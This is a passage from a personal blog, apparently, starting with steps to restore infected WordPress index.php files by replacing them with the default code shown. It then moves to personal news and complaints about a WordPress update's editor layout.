If you’re having this problem, first change your FTP password, WordPress passwords and anything else that could have been compromised.

FTP into your site and check the content of the above listed to files to make sure they have been indeed infected. If so open them up in a text editor and delete the above script. The entire index.php file in the root should read:

<?php
/**
* Front to the WordPress application. This file doesn’t do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the theme.
*
* @package WordPress
*/

/**
* Tells WordPress to load the WordPress theme and output it.
*
* @var bool
*/
define(‘WP_USE_THEMES’, true);

/** Loads the WordPress Environment and Template */
require(‘./wp-blog-header.php’);
?>

and the entire index.php file located in wp-content should just read:

<?php
// Silence is golden.
?>

Make the change and upload them back to the right spot and it should work. If you have questions about this, feel free to leave a comment and I’ll be glad to help out. This is what fixed my site. It should work on yours if you are having the same problem, but I can’t guarantee.

On a similarish note, for you inquiring minds, I’ve been seeing this guy named Nathan. We actually dated before. If you are curious, guy #3 here. Wow that was forever ago. Anyway, I stopped blogging about guys here for the most part, but I guess it won’t hurt too much.

Hm, I see an update for the new wordpress already. It says “better performance for categories.” Perhaps that will solve my biggest problem with it. That actually might make it worth coming back and updating tonight.

However, as with most wordpress updates…something might break, so if it looks strange, bear with me while I fix it. It didn’t break on this one last time, but majorly messed over tsamonterey, and took forever to fix.

So, they just released a new version. I upgraded on a test site, not here because you know how it likes to break my stuff. Anyway, the new design isn’t bad and it has some good features. However, the reason I will probably put off upgrading for as long as I possibly can (until DreamHost or WordPress start harassing me with little reminders in my dashboard again) is that they moved all the category, post password, status, slug, etc…BELOW the post. I kind of like not having to scroll down when I’m writing. I type, click a category and publish. Scrolling is not fun. They should know better. At least give users an option to move it back to the right sidebar which is being used for stuff no one mostly needs there now.

What were you thinking?

But, the new features are cool, especially the gallery thing. Check it out here.

If I didn’t love you so much, I’d hate you WordPress.

P.S. The font is a little small too.
